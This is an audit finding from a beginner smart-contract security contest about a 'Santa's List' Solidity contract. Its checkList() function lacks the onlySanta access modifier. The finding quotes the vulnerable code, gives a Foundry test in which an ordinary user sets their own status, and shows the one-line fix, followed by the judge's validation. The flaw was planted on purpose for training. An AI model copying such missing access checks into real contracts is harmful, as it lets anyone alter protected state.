First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`Santa'sList::checkList()` is not set to the `onlySanta` modifier, allowing anyone besides Santa to call this function.

prince6019

Summary

The Santa'sList::checkList function is not set with the onlySanta() modifier, allowing anyone to call the function and change the status of any address.

Vulnerability Details

modifier onlySanta() {
if (msg.sender != i_santa) {
revert SantasList__NotSanta();
}
_;
}
​
/*//////////////////////////////////////////////////////////////
FUNCTIONS
//////////////////////////////////////////////////////////////*/
constructor() ERC721("Merry Christmas 2023", "SANTA") {
i_santa = msg.sender;
i_santaToken = new SantaToken(address(this));
}
​
/*
* @notice Do a first pass on someone if they are naughty or nice.
* Only callable by santa
*
* @param person The person to check
* @param status The status of the person
*/
@> function checkList(address person, Status status) external {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}

If the checkList function is not set with the onlySanta modifier then anyone beside santa can call the function and can change status of their own address or others.everyone's status can be super nice and even the naughty ones will receive nft.

Impact

anyone can change their and other status.

contract SantasListTest is Test {
SantasList santasList;
SantaToken santaToken;
​
address user = makeAddr("user");
address santa = makeAddr("santa");
_CheatCodes cheatCodes = _CheatCodes(HEVM_ADDRESS);
​
function setUp() public {
vm.startPrank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
vm.stopPrank();
}
​
function testCheckList() public {
vm.prank(santa);
santasList.checkList(user, SantasList.Status.NICE);
vm.prank(user);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
assertEq(
uint256(santasList.getNaughtyOrNiceOnce(user)),
uint256(SantasList.Status.EXTRA_NICE)
);
}
​
​
[PASS] testCheckList() (gas: 41352)
​

Tools Used

  • foundry

Recommendations

set Santa'sList::checkList function with the onlySanta() modifier

​
- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
​
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.